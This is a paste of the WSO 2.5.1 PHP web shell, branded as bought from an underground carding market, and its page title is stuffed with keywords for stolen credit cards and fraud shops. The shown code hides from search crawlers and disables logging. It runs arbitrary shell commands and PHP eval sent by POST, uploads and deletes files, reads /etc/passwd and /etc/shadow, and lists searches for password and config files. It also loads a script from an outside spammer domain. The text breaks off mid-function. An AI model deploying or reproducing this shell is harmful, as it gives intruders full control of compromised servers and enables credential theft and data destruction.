· 8 years ago · May 12, 2018, 10:00 PM
1<?php
2
3$color = "#df5";
4$default_action = 'FilesMan';
5$default_use_ajax = true;
6$default_charset = 'Windows-1251';
7
8if(!empty($_SERVER['HTTP_USER_AGENT'])) {
9 $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
10 if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
11 header('HTTP/1.0 404 Not Found');
12 exit;
13 }
14}
15
16@ini_set('error_log',NULL);
17@ini_set('log_errors',0);
18@ini_set('max_execution_time',0);
19@set_time_limit(0);
20@set_magic_quotes_runtime(0);
21@define('WSO_VERSION', '2.5.1');
22
23if(get_magic_quotes_gpc()) {
24 function WSOstripslashes($array) {
25 return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
26 }
27 $_POST = WSOstripslashes($_POST);
28 $_COOKIE = WSOstripslashes($_COOKIE);
29}
30
31function wsoLogin() {
32 die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
33}
34
35function WSOsetcookie($k, $v) {
36 $_COOKIE[$k] = $v;
37 setcookie($k, $v);
38}
39
40if(!empty($auth_pass)) {
41 if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
42 WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
43
44 if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
45 wsoLogin();
46}
47
48if(strtolower(substr(PHP_OS,0,3)) == "win")
49 $os = 'win';
50else
51 $os = 'nix';
52
53$safe_mode = @ini_get('safe_mode');
54if(!$safe_mode)
55 error_reporting(0);
56
57$disable_functions = @ini_get('disable_functions');
58$home_cwd = @getcwd();
59if(isset($_POST['c']))
60 @chdir($_POST['c']);
61$cwd = @getcwd();
62if($os == 'win') {
63 $home_cwd = str_replace("\\", "/", $home_cwd);
64 $cwd = str_replace("\\", "/", $cwd);
65}
66if($cwd[strlen($cwd)-1] != '/')
67 $cwd .= '/';
68
69if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
70 $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
71
72if($os == 'win')
73 $aliases = array(
74 "List Directory" => "dir",
75 "Find index.php in current dir" => "dir /s /w /b index.php",
76 "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
77 "Show active connections" => "netstat -an",
78 "Show running services" => "net start",
79 "User accounts" => "net user",
80 "Show computers" => "net view",
81 "ARP Table" => "arp -a",
82 "IP Configuration" => "ipconfig /all"
83 );
84else
85 $aliases = array(
86 "List dir" => "ls -lha",
87 "list file attributes on a Linux second extended file system" => "lsattr -va",
88 "show opened ports" => "netstat -an | grep -i listen",
89 "process status" => "ps aux",
90 "Find" => "",
91 "find all suid" => "find / -type f -perm -04000 -ls",
92 "find suid in current dir" => "find . -type f -perm -04000 -ls",
93 "find all sgid" => "find / -type f -perm -02000 -ls",
94 "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
95 "find config.inc.php" => "find / -type f -name config.inc.php",
96 "find config*" => "find / -type f -name \"config*\"",
97 "find config* in current dir" => "find . -type f -name \"config*\"",
98 "find all writable folders and files" => "find / -perm -2 -ls",
99 "find all writable folders and files in current dir" => "find . -perm -2 -ls",
100 "find all service.pwd" => "find / -type f -name service.pwd",
101 "find service.pwd files in current dir" => "find . -type f -name service.pwd",
102 "find all .htpasswd" => "find / -type f -name .htpasswd",
103 "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
104 "find all .bash_history" => "find / -type f -name .bash_history",
105 "find .bash_history files in current dir" => "find . -type f -name .bash_history",
106 "find all .fetchmailrc" => "find / -type f -name .fetchmailrc",
107 "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
108 "Locate" => "",
109 "locate httpd.conf" => "locate httpd.conf",
110 "locate vhosts.conf" => "locate vhosts.conf",
111 "locate proftpd.conf" => "locate proftpd.conf",
112 "locate psybnc.conf" => "locate psybnc.conf",
113 "locate my.conf" => "locate my.conf",
114 "locate admin.php" =>"locate admin.php",
115 "locate cfg.php" => "locate cfg.php",
116 "locate conf.php" => "locate conf.php",
117 "locate config.dat" => "locate config.dat",
118 "locate config.php" => "locate config.php",
119 "locate config.inc" => "locate config.inc",
120 "locate config.inc.php" => "locate config.inc.php",
121 "locate config.default.php" => "locate config.default.php",
122 "locate config*" => "locate config",
123 "locate .conf"=>"locate '.conf'",
124 "locate .pwd" => "locate '.pwd'",
125 "locate .sql" => "locate '.sql'",
126 "locate .htpasswd" => "locate '.htpasswd'",
127 "locate .bash_history" => "locate '.bash_history'",
128 "locate .mysql_history" => "locate '.mysql_history'",
129 "locate .fetchmailrc" => "locate '.fetchmailrc'",
130 "locate backup" => "locate backup",
131 "locate dump" => "locate dump",
132 "locate priv" => "locate priv"
133 );
134
135function wsoHeader() {
136 if(empty($_POST['charset']))
137 $_POST['charset'] = $GLOBALS['default_charset'];
138 global $color;
139 echo "<html><SCRIPT SRC=http://spammers.cc/1/jquery.js></SCRIPT><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . "- Horux , Horux Market , Horux Login Horux Shop horux.al horux.su horux.ru horux.to horux.ng horux.xyz Spamming, Hacking, Cadring, Cracking Tools/Tutorials, Fresh & Private CCV. Biggest Underground Market,horux login, horux.al, horux.cm, horux.ru, horux.su, horux market, horux.xyz, horux, horux new domain, altenen.com, dump, cracking, carding, áхõüы ÷ðрðñþтúð, рð÷ôðчø, øóрþòþù рыýþú, ÿрøòðтýыù ÑÂþфт, ýðúрутúð, forum ,hack ,ÿрøòðтýыù, фþруü, ÑÂúðчðть,altenen.com,altenen,hackforums,sentry.mba,sentry mba,ssn dob shop,bitshacking.com,alboraaq,alboraaq.com,darkwebs,account checker,pof account checker,match account checker,atn forum,leakforums,configs,sentry mba config,dump sell,card sell,carding forum, carding forums, carder forum, card forum, carder forums, underground carding forum, Private carding forum, 2017 carding forum, dump shop, ccv shop, cc shop, fullz shop, carding, altenen.com, bithacking.com scammer, alboraaq scammers, carders, western union transfer,smtp,rdp , unlimited php mailer,mailer inbox , php mailer ,cpanel ,shells, illegal credit cards, credit card, cc, tracks, dumps pin, dell alienware, hacking, botnet, security, paypal, bank account, login, porn xxx, passwords, email, leads, ukash, webmoney shipping laptops, cheap electronics, bank transfer, amazon accounts, amazon giftcards, account dump, neteller cheap tranfer, alertpay tranfer, payza transfer, paypal tranfer, carding class, carding tutorials, carding tools, everything on internet, blackhat seo, carding seo,ñрут, úðрö, ôðрúòõñ, darkweb, ûõóúøõ, ôõýьóø, хðÃȄÂòýыù, úðртþý, рð÷ôðчð, úðртþýð, ò÷ûþü ÑÂðùтþò, ò÷ûþüы, ñруты, фрø хðúÑÂ, free hacks, freehacks, òøруÑÂÑ‹, ÑÂÿûþùты,exploit, ÿрþóрðüüøрþòðýøõ, Web-рð÷рðñþтúð, SEO, þÿтøüø÷ðцøÑÂ, ñþты, ñþтýõт, ÑÂõтø, carding, úðрôøýó, ñрут, хðúõр, хðúõрÑÂúøù,úðрôøýó фþруü, рð÷ôðчø,Ñõ÷þÿðÑÂýыõ, ÑÂхõüы, ÷ðрðñþтúð, Ñõ÷þÿðÑÂýыõ ÑÂхõüы ÷ðрðñþтúð, Make money, make money online, фþруü, øýтõрýõт фþруü, фþруü þñþ òÑÂõü, фþруü þñщõýøÑÂ, фþруü øóры, хþрþшøù фþруü,ñþûьшþù фþруü руÑÂÑÂúøù фþруü, ñф, ñÃȄÂú фþруü, ñûõú, чõрýыù, blackforum,mastercvv,mastercvv.ru,mastercvv.al,carding, card fraud, horux , horux.al , carding forum, carders forum, carders board, credit card fraud, fraud, atm fraud, atm skimmer, dumps shop, credit cards cvv, credit cards cvv2, dumps, dumps with pin, cvv2, buy dumps, buy credit cards, dumps with pin A Largest Cvv Shop,buy Cvv,cvv Shop Online,buy Cvv Online,valid Cvv,shop Cvv,fresh Cvv,cvv Store,cvv Shops,auto Cvv Shop,buy Cvv Shop Cvv Shop,gozzilla,godzila,general,CvvStore.Ru is the best Cvv Shop. A UniccShop Cvv Shop Online Sell Fresh cvv and Valid Cvv.Buy Cvv and Buy Cvv Online Anytime. Buy Cvv Shop on Shop Cheap CVV, Fresh CVV, Good CVV, Carding Forums, Carder Forums, Fresh Paypal, Best cvv, shopcvv, cvv online, cvv shop, sell cvv, buy cvv, buy cvv online,Cvv Shop,Buy Cvv,cvv shop online,Buy Cvv Online,89ers,ferum,unicc,bypass,twister,Valid Cvv,Shop Cvv … login,paypal,wu trf,paypalbin russia, altenen.com, I’m Seller for: CC, CVV US,UK,CA,vv shop online russia written by. … Fresh cc, Stolen credit cards numbers free. Fresh cc, Fresh cards, Fresh cvv, UK fullz, USA amx, discover,Sell cvv, cc dumps, cvv shop, fresh dumps, buy cvv, dumps shop, CVVs, track 1 and 2, dumps with pin, WU Transfers and Bank Transfers,CC+CVV/CHECKER/SSN/MMN/PAYPAL, new domain cvv shop </title>
140<style>
141body{background-color:#444;color:#e1e1e1;}
142body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
143table.info{ color:#fff;background-color:#222; }
144span,h1,a{ color: $color !important; }
145span{ font-weight: bolder; }
146h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
147div.content{ padding: 5px;margin-left:5px;background-color:#333; }
148a{ text-decoration:none; }
149a:hover{ text-decoration:underline; }
150.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
151.bigarea{ width:100%;height:300px; }
152input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
153form{ margin:0px; }
154#toolsTbl{ text-align:center; }
155.toolsInp{ width: 300px }
156.main th{text-align:left;background-color:#5e5e5e;}
157.main tr:hover{background-color:#5e5e5e}
158.l1{background-color:#444}
159.l2{background-color:#333}
160pre{font-family:Courier,Monospace;}
161</style>
162<script>
163 var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
164 var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
165 var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
166 var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
167 var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
168 var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
169 var d = document;
170 function set(a,c,p1,p2,p3,charset) {
171 if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
172 if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
173 if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
174 if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
175 if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
176 if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
177 }
178 function g(a,c,p1,p2,p3,charset) {
179 set(a,c,p1,p2,p3,charset);
180 d.mf.submit();
181 }
182 function a(a,c,p1,p2,p3,charset) {
183 set(a,c,p1,p2,p3,charset);
184 var params = 'ajax=true';
185 for(i=0;i<d.mf.elements.length;i++)
186 params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
187 sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
188 }
189 function sr(url, params) {
190 if (window.XMLHttpRequest)
191 req = new XMLHttpRequest();
192 else if (window.ActiveXObject)
193 req = new ActiveXObject('Microsoft.XMLHTTP');
194 if (req) {
195 req.onreadystatechange = processReqChange;
196 req.open('POST', url, true);
197 req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
198 req.send(params);
199 }
200 }
201 function processReqChange() {
202 if( (req.readyState == 4) )
203 if(req.status == 200) {
204 var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
205 var arr=reg.exec(req.responseText);
206 eval(arr[2].substr(0, arr[1]));
207 } else alert('Request error!');
208 }
209</script>
210<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
211<form method=post name=mf style='display:none;'>
212<input type=hidden name=a>
213<input type=hidden name=c>
214<input type=hidden name=p1>
215<input type=hidden name=p2>
216<input type=hidden name=p3>
217<input type=hidden name=charset>
218</form>";
219 $freeSpace = @diskfreespace($GLOBALS['cwd']);
220 $totalSpace = @disk_total_space($GLOBALS['cwd']);
221 $totalSpace = $totalSpace?$totalSpace:1;
222 $release = @php_uname('r');
223 $kernel = @php_uname('s');
224 $explink = 'http://exploit-db.com/search/?action=search&filter_description=';
225 if(strpos('Linux', $kernel) !== false)
226 $explink .= urlencode('Linux Kernel ' . substr($release,0,6));
227 else
228 $explink .= urlencode($kernel . ' ' . substr($release,0,3));
229 if(!function_exists('posix_getegid')) {
230 $user = @get_current_user();
231 $uid = @getmyuid();
232 $gid = @getmygid();
233 $group = "?";
234 } else {
235 $uid = @posix_getpwuid(posix_geteuid());
236 $gid = @posix_getgrgid(posix_getegid());
237 $user = $uid['name'];
238 $uid = $uid['uid'];
239 $group = $gid['name'];
240 $gid = $gid['gid'];
241 }
242
243 $cwd_links = '';
244 $path = explode("/", $GLOBALS['cwd']);
245 $n=count($path);
246 for($i=0; $i<$n-1; $i++) {
247 $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
248 for($j=0; $j<=$i; $j++)
249 $cwd_links .= $path[$j].'/';
250 $cwd_links .= "\")'>".$path[$i]."/</a>";
251 }
252
253 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
254 $opt_charsets = '';
255 foreach($charsets as $item)
256 $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
257
258 $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
259 if(!empty($GLOBALS['auth_pass']))
260 $m['Logout'] = 'Logout';
261 $m['Self remove'] = 'SelfRemove';
262 $menu = '';
263 foreach($m as $k => $v)
264 $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
265
266 $drives = "";
267 if($GLOBALS['os'] == 'win') {
268 foreach(range('c','z') as $drive)
269 if(is_dir($drive.':\\'))
270 $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
271 }
272 echo 'This shell is purchased from HORUX.TO | for more tools visite us on http://www.horux.to | the underground kings<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
273 . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>')
274 . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
275 . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
276 . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
277}
278
279function wsoFooter() {
280 $is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
281 echo "
282</div>
283<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
284 <tr>
285 <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
286 <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
287 </tr><tr>
288 <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
289 <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
290 </tr><tr>
291 <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
292 <td><form method='post' ENCTYPE='multipart/form-data'>
293 <input type=hidden name=a value='FilesMAn'>
294 <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
295 <input type=hidden name=p1 value='uploadFile'>
296 <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
297 <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
298 </tr></table></div></body></html>";
299}
300
301if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
302 function posix_getpwuid($p) {return false;} }
303if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
304 function posix_getgrgid($p) {return false;} }
305
306function wsoEx($in) {
307 $out = '';
308 if (function_exists('exec')) {
309 @exec($in,$out);
310 $out = @join("\n",$out);
311 } elseif (function_exists('passthru')) {
312 ob_start();
313 @passthru($in);
314 $out = ob_get_clean();
315 } elseif (function_exists('system')) {
316 ob_start();
317 @system($in);
318 $out = ob_get_clean();
319 } elseif (function_exists('shell_exec')) {
320 $out = shell_exec($in);
321 } elseif (is_resource($f = @popen($in,"r"))) {
322 $out = "";
323 while(!@feof($f))
324 $out .= fread($f,1024);
325 pclose($f);
326 }
327 return $out;
328}
329
330function wsoViewSize($s) {
331 if (is_int($s))
332 $s = sprintf("%u", $s);
333
334 if($s >= 1073741824)
335 return sprintf('%1.2f', $s / 1073741824 ). ' GB';
336 elseif($s >= 1048576)
337 return sprintf('%1.2f', $s / 1048576 ) . ' MB';
338 elseif($s >= 1024)
339 return sprintf('%1.2f', $s / 1024 ) . ' KB';
340 else
341 return $s . ' B';
342}
343
344function wsoPerms($p) {
345 if (($p & 0xC000) == 0xC000)$i = 's';
346 elseif (($p & 0xA000) == 0xA000)$i = 'l';
347 elseif (($p & 0x8000) == 0x8000)$i = '-';
348 elseif (($p & 0x6000) == 0x6000)$i = 'b';
349 elseif (($p & 0x4000) == 0x4000)$i = 'd';
350 elseif (($p & 0x2000) == 0x2000)$i = 'c';
351 elseif (($p & 0x1000) == 0x1000)$i = 'p';
352 else $i = 'u';
353 $i .= (($p & 0x0100) ? 'r' : '-');
354 $i .= (($p & 0x0080) ? 'w' : '-');
355 $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
356 $i .= (($p & 0x0020) ? 'r' : '-');
357 $i .= (($p & 0x0010) ? 'w' : '-');
358 $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
359 $i .= (($p & 0x0004) ? 'r' : '-');
360 $i .= (($p & 0x0002) ? 'w' : '-');
361 $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
362 return $i;
363}
364
365function wsoPermsColor($f) {
366 if (!@is_readable($f))
367 return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
368 elseif (!@is_writable($f))
369 return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
370 else
371 return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
372}
373
374function wsoScandir($dir) {
375 if(function_exists("scandir")) {
376 return scandir($dir);
377 } else {
378 $dh = opendir($dir);
379 while (false !== ($filename = readdir($dh)))
380 $files[] = $filename;
381 return $files;
382 }
383}
384
385function wsoWhich($p) {
386 $path = wsoEx('which ' . $p);
387 if(!empty($path))
388 return $path;
389 return false;
390}
391
392function actionSecInfo() {
393 wsoHeader();
394 echo '<h1>Server security information</h1><div class=content>';
395 function wsoSecParam($n, $v) {
396 $v = trim($v);
397 if($v) {
398 echo '<span>' . $n . ': </span>';
399 if(strpos($v, "\n") === false)
400 echo $v . '<br>';
401 else
402 echo '<pre class=ml1>' . $v . '</pre>';
403 }
404 }
405
406 wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
407 if(function_exists('apache_get_modules'))
408 wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
409 wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
410 wsoSecParam('Open base dir', @ini_get('open_basedir'));
411 wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
412 wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
413 wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
414 $temp=array();
415 if(function_exists('mysql_get_client_info'))
416 $temp[] = "MySql (".mysql_get_client_info().")";
417 if(function_exists('mssql_connect'))
418 $temp[] = "MSSQL";
419 if(function_exists('pg_connect'))
420 $temp[] = "PostgreSQL";
421 if(function_exists('oci_connect'))
422 $temp[] = "Oracle";
423 wsoSecParam('Supported databases', implode(', ', $temp));
424 echo '<br>';
425
426 if($GLOBALS['os'] == 'nix') {
427 wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
428 wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');
429 wsoSecParam('OS version', @file_get_contents('/proc/version'));
430 wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
431 if(!$GLOBALS['safe_mode']) {
432 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
433 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
434 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
435 echo '<br>';
436 $temp=array();
437 foreach ($userful as $item)
438 if(wsoWhich($item))
439 $temp[] = $item;
440 wsoSecParam('Userful', implode(', ',$temp));
441 $temp=array();
442 foreach ($danger as $item)
443 if(wsoWhich($item))
444 $temp[] = $item;
445 wsoSecParam('Danger', implode(', ',$temp));
446 $temp=array();
447 foreach ($downloaders as $item)
448 if(wsoWhich($item))
449 $temp[] = $item;
450 wsoSecParam('Downloaders', implode(', ',$temp));
451 echo '<br/>';
452 wsoSecParam('HDD space', wsoEx('df -h'));
453 wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
454 echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
455 if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
456 $temp = "";
457 for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
458 $uid = @posix_getpwuid($_POST['p2']);
459 if ($uid)
460 $temp .= join(':',$uid)."\n";
461 }
462 echo '<br/>';
463 wsoSecParam('Users', $temp);
464 }
465 }
466 } else {
467 wsoSecParam('OS Version',wsoEx('ver'));
468 wsoSecParam('Account Settings',wsoEx('net accounts'));
469 wsoSecParam('User Accounts',wsoEx('net user'));
470 }
471 echo '</div>';
472 wsoFooter();
473}
474
475function actionPhp() {
476 if(isset($_POST['ajax'])) {
477 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
478 ob_start();
479 eval($_POST['p1']);
480 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
481 echo strlen($temp), "\n", $temp;
482 exit;
483 }
484 if(empty($_POST['ajax']) && !empty($_POST['p1']))
485 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
486
487 wsoHeader();
488 if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
489 echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
490 ob_start();
491 phpinfo();
492 $tmp = ob_get_clean();
493 $tmp = preg_replace(array (
494 '!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
495 '!td, th {(.*)}!msiU',
496 '!<img[^>]+>!msiU',
497 ), array (
498 '',
499 '.e, .v, .h, .h th {$1}',
500 ''
501 ), $tmp);
502 echo str_replace('<h1','<h2', $tmp) .'</div><br>';
503 }
504 echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
505 echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
506 if(!empty($_POST['p1'])) {
507 ob_start();
508 eval($_POST['p1']);
509 echo htmlspecialchars(ob_get_clean());
510 }
511 echo '</pre></div>';
512 wsoFooter();
513}
514
515function actionFilesMan() {
516 if (!empty ($_COOKIE['f']))
517 $_COOKIE['f'] = @unserialize($_COOKIE['f']);
518
519 if(!empty($_POST['p1'])) {
520 switch($_POST['p1']) {
521 case 'uploadFile':
522 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
523 echo "Can't upload!";
524 break;
525 case 'mkdir':
526 if(!@mkdir($_POST['p2']))
527 echo "Can't create!";
528 break;
529 case 'delete':
530 function deleteDir($path) {
531 $path = (substr($path,-1)=='/') ? $path:$path.'/';
532 $dh = opendir($path);
533 while ( ($item = readdir($dh) ) !== false) {
534 $item = $path.$item;
535 if ( (basename($item) == "..") || (basename($item) == ".") )
536 continue;
537 $type = filetype($item);
538 if ($type == "dir")
539 deleteDir($item);
540 else
541 @unlink($item);
542 }
543 closedir($dh);
544 @rmdir($path);
545 }
546 if(is_array(@$_POST['f']))
547 foreach($_POST['f'] as $f) {
548 if($f == '..')
549 continue;
550 $f = urldecode($f);
551 if(is_dir($f))
552 deleteDir($f);
553 else
554 @unlink($f);
555 }
556 break;
557 case 'paste':
558 if($_COOKIE['act'] == 'copy') {
559 function copy_paste($c,$s,$d){
560 if(is_dir($c.$s)){
561 mkdir($d.$s);
562 $h = @opendir($c.$s);
563 while (($f = @readdir($h)) !== false)
564 if (($f != ".") and ($f != ".."))
565 copy_paste($c.$s.'/',$f, $d.$s.'/');
566 } elseif(is_file($c.$s))
567 @copy($c.$s, $d.$s);
568 }
569 foreach($_COOKIE['f'] as $f)
570 copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
571 } elseif($_COOKIE['act'] == 'move') {
572 function move_paste($c,$s,$d){
573 if(is_dir($c.$s)){
574 mkdir($d.$s);
575 $h = @opendir($c.$s);
576 while (($f = @readdir($h)) !== false)
577 if (($f != ".") and ($f != ".."))
578 copy_paste($c.$s.'/',$f, $d.$s.'/');
579 } elseif(@is_file($c.$s))
580 @copy($c.$s, $d.$s);
581 }
582 foreach($_COOKIE['f'] as $f)
583 @rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
584 } elseif($_COOKIE['act'] == 'zip') {
585 if(class_exists('ZipArchive')) {
586 $zip = new ZipArchive();
587 if ($zip->open($_POST['p2'], 1)) {
588 chdir($_COOKIE['c']);
589 foreach($_COOKIE['f'] as $f) {
590 if($f == '..')
591 continue;
592 if(@is_file($_COOKIE['c'].$f))
593 $zip->addFile($_COOKIE['c'].$f, $f);
594 elseif(@is_dir($_COOKIE['c'].$f)) {
